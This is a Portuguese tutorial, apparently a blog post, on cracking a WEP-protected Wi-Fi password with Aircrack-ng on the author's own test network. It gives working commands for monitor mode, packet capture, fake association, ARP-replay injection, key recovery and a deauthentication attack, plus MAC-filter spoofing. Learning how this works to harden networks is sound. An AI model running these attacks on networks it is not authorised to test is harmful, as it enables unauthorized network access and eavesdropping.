**Todos os passos aqui mostrados têm finalidade educativa e informativa, e foram testados em minha própria rede! Não assumo qualquer responsabilidade sobre o uso destas informações.
Este tutorial foi escrito utilizando uma distribuição LINUX, portanto ter uma distro instalada é um pré-requisito!
1. Entendendo a fragilidade do protocolo WEP:
O primeiro protocolo de segurança adotado, que conferia no nível do enlace uma certa segurança para as redes sem fio semelhante à segurança das redes com fio, foi o WEP (Wired Equivalent Privacy).
Este protocolo, muito usado ainda hoje, utiliza o algoritmo RC4 para criptografar os pacotes que serão trocados numa rede sem fios a fim de tentar garantir confidenciabilidade aos dados de cada usuário. Além disso, utiliza-se também a CRC-32 que é uma função detectora de erros que ao fazer a checksum de uma mensagem enviada gera um ICV (Identificador de Circuito Virtual) que deve ser conferido pelo receptor da mensagem, no intuito de verificar se a mensagem recebida foi corrompida e/ou alterada no meio do caminho.
No entanto, após vários estudos e testes realizados com este protocolo, encontraram-se algumas vulnerabilidades e falhas que fizeram com que o WEP perdesse quase toda a sua credibilidade.
Porque RC4 é uma cifra de fluxo, a mesma chave de tráfego nunca deve ser usada duas vezes. O propósito de um VI (vetor de inicialização), que é transmitido em texto puro, é para evitar a repetição, mas um VI de 24 bits não é suficientemente longo para garantir isso em uma rede ocupada. A forma como o VI foi usado também deu brecha para um ataque de chaves-relacionadas ao WEP. Para um VI de 24 bits, há uma probabilidade de 50% de que o mesmo VI irá repetir se após 5000 pacotes. Em agosto de 2001, Scott Fluhrer, Itsik Mantin, e Adi Shamir publicaram uma criptoanálise do WEP que explora a forma como a cifra RC4 e VI são usados no WEP, resultando em um ataque passivo que pode recuperar a chave RC4 após espionagem na rede. Dependendo da quantidade de tráfego de rede, e desse modo o número de pacotes disponíveis para a inspeção, uma recuperação de chave bem-sucedida poderia levar apenas um minuto. Se um número insuficiente de pacotes está sendo enviado, existem maneiras para um atacante enviar pacotes na rede e, assim, estimular o envio de pacotes de resposta que podem então ser inspecionados para encontrar a chave. O ataque foi logo implementado, e ferramentas automatizadas já foram liberados. É possível realizar o ataque com um computador pessoal, off-the-shelf hardware e software disponíveis gratuitamente como Aircrack-ng para quebrar qualquer chave WEP em minutos.
2. Ferramentas/Equipamentos utilizadas:
Para simular um ataque, utilizamos:
- Roteador D-Link DIR-600
- Adaptador de rede USB D-Link DWA-110
- Linux Mint 11 - Baseado no Ubuntu 11.04
- Suite Aircrack-ng
Configurei uma rede chamada BigRoot, que utiliza a proteção WEP de 128Bits, cuja senha é 1qazxsw23EDCV e nosso objetivo é descobri-la! Veja que não é uma senha simples, pois possui letras maiúsculas e números entre os caracteres!
3. Instalando o Aircrack-ng:
O Aircrack-ng é uma suite composta de vários programas interessantes, porém só iremos utilizar alguns neste tutorial.
Distribuições como o BackTrack já vem com o aircrack instalado.
Para instalar no Ubuntu ou distribuições baseadas no mesmo basta:
$sudo apt-get install aircrack-ng
Dê uma pesquisa se sua distro já não possui o aircrack em seus repositórios, é muito provável que sim.
Mais detalhes: http://www.aircrack-ng.org/install.html
4. Configurando sua placa de rede:
Talvez essa parte seja a mais importante para seu sucesso! Muitas pessoas não conseguem nada pois suas placas não estão devidamente configuradas ou não suportam a injeção de pacotes.
Verifique se sua placa é compativel:
http://www.aircrack-ng.org/doku.php?...bility_drivers
Caso sua placa não esteja na lista, pesquise no fórum do aircrack, lá há muitos tutoriais sobre diversas placas.
Estou utilizando um adaptador USB DWA-110 da D-Link, pois a placa do meu notebook não dá suporte a injeção de pacotes.
Este adaptador possui um chipset Ralink 2573 USB e para configurá-lo corretamente foi necessário instalar um patch:
Citação:
"wget http://wireless.kernel.org/download/...-wireless-2.6/ compat-wireless-2.6.tar.bz2" tar jxvf compat-wireless-2.6.tar.bz2 cd compat-wireless-<tab> wget http://patches.aircrack-ng.org/chann...ne-maxim.patch patch -Np1 -i channel-negative-one-maxim.patch make sudo make install sudo make unload |
4. Iniciando a placa em modo monitor e verificando as redes disponíveis:
Para iniciar minha placa de rede(wlan2), basta:
Citação:
#airmon-ng start wlan2 |
Assim todas suas placas sem fio serão listadas.
Para visualizar o MAC(Endereço físico, cada placa tem um) da sua placa, use: #ifconfig
São os 6 primeiros codigos em hexadecimal.
Com sucesso, obteremos:
Observe que uma nova placa de rede foi criada: mon0
É a partir desta placa que iremos trabalhar
Vamos então verificar as redes disponíveis:
Citação:
#airodump-ng mon0 Onde: mon0: sua placa de rede em modo monitor |
Observe na imagem os seguintes campos importantes para nós:
Citação:
BSSID: MAC do AP; PWR: Intencidade do sinal (Quanto menor, melhor); #Data: É oque nos interessa! Quanto mais, mais IVs capturados e maior chance de obtenção da senha; #/S: Quantidade de pacotes por segundo que estamos capturando; ENC: Proteção da rede utilizada, no nosso caso, WEP; ESSID: Nome da rede. |
5. Testando a injeção de pacotes:
Devemos capturar uma grande quantidade de IVs e assim obter sucesso na obtenção da senha. Se houver muita atividade na rede, você obterá grande quantidade de dados, porém se a rede estiver sendo pouco utilizada, obteremos poucos pacotes.
Obtive sucesso com cerca de 50.000 pacotes, assim para chegar a essa quantidade rapidamente, ou melhor, incurtar o tempo necessário, injetaremos pacotes na rede, criando movimentação nesta.
Testando a injeção de pacotes:
Citação:
#aireplay-ng --test -b 00:XX:XX:XX:4f:58 mon0 Onde: --teste: opção do aireplay para teste de injeção de pacotes; -b 00:XX:XX:XX:4f:58: MAC do AP; mon0: sua placa. |
Pela imagem, observamos que os pacotes estão sendo injetados com sucesso! Assim, poderemos gerar trafego na rede e obter muitos IVs.
Este teste é muito importante!
6. Criando uma falsa associação com o AP:
Se nosso cliente(Placa de rede) não estiver associada ao roteador, este ignorará todos os pacotes injetados! Assim, nosso ataque não servirá de nada.
Em outro terminal, execute:
Citação:
# aireplay-ng -1 6000 -o 1 -q 10 -a 00:XX:XX:XX:4f:58 -h 00:XX:XX:XX:66:d6 mon0 Onde: -1 6000: Ataque de associação; -o 1: Envia apenas 1 pacote por vez; -q 10: Envia o pacote a cada 10 segundos; -a 00:XX:XX:XX:4f:58: MAC do AP; -h 00:XX:XX:XX:66:d6: MAC da sua placa; mon0: Sua placa de rede; |
Veja que obtemos sucesso na associação: Association sucessful :-)
Por vez, o próximo passo é efetuar a injeção de pacotes utilizando um ataque de ARP replay.
7. Iniciando o ataque de requisição de ARP:
A reação do AP a uma requesição ARP é gerar nos IVs, esse é nosso objetivo, gerar muitos IVs em pouco tempo.
Em um novo terminal, execute:
Citação:
# aireplay-ng --arpreplay -b 00:26:XX:XX:XX:58 -e BigRoot -h 00:XX:XX:XX:66:F6 mon0 Onde: --arpreplay: Ataque de requisição de pacotes ARPs; -b 00:26:XX:XX:XX:58: MAC do AP; -e BigRoot: Nome da rede; -h 00:XX:XX:XX:66:F6: MAC do cliente; mon0: sua placa. |
Observe que na imagem, 0 requisições ARP foram efetuadas. Você deve aguardar até que a primeira requisição seja feita. Isso pode demorar um pouco!
Após o primeiro pacote, nosso ataque finalmente acontece, gerando muitos IVs:
Observe que a quantidade de IVs começa a crescer de forma estraordinária:
Na imagem, temos pouco mais de 495000 pacotes.
Assim que você iniciar o ataque de requisição ARP, você deve abrir o aircrack-ng e já tentar decodificar a senha da rede apartir desses pacotes já capturados.
8. Iniciando finalmente o aircrack:
O airodum-ng e o aireplay-ng gera alguns arquivos que são utilizados pelo aircrack para decodificar a senha:
Assim, em outro terminal, rode o aicrack:
Citação:
# aicrack-ng -b 00:26:XX:XX:XX:f6 dados*.cap Onde: -b 00:26:XX:XX:XX:f6: MAC do AP; dados*.cap: Arquivos gerados pelo airodump. |
Observe na imagem que foram capturados pouco mais de 36000 IVs, porém o aircrack não conseguiu decodificar a senha. Observe que a proxima tentativa será com 40000 IVs.
Lembre-se que estamos com 4 terminais abertos!! Todos estão rodando juntos.
Um pouco mais de tempo e coseguimos a tão desejada senha:
Agora basta se conectar a rede:
Você tambêm pode utilizar a senha em hexadecimal, retirando assim os : .
9. Conclusão:
Este simples tutorial mostra como é simples obter a senha de uma rede WEP, sendo assim, recomenda-se utilizar protocolos de segurança mais recentes, como o WAP/WAP2. Mesmo tomando algumas medidas como ocultar a rede, utlizar filtro MAC, podemos burlar tudo facilmente.
10. Alguns problemas enfrentados e suas soluções:
10.1: mon0 is on channel 1, but the AP uses channel 6
Tente primeiramente setar sua placa no mesmo canal do AP utilizando o seguinte comando:
Citação:
#iwconfig mon0 channel 6 Onde: mon0: sua placa de rede; channel 6: canal do AP |
10.2: O nome da rede não aparece: <length: 0>
Isso mostra que a rede está oculta. Geralmente basta esperar alguns segundos e o airodump consegue resolver o nome da mesma.
Se não der certo, utilize o ataque Deauthentication:
Citação:
aireplay-ng -0 1 -a 00:xx:xx:xx:40:80 -c 00:xx:xx:xx:30:30 mon0 |
Primeiramente deve se certificar que sua placa é compatível. Após isso, o AP pode estar com o filtro de MAC ativado, ou seja, ignora todos clientes que não estão com acesso permitido.
Para solucionar isso, você deve espiar a rede até que um cliente autorizado se conecte e utilizar esse MAC para injeção de pacotes.
0 comentários:
Postar um comentário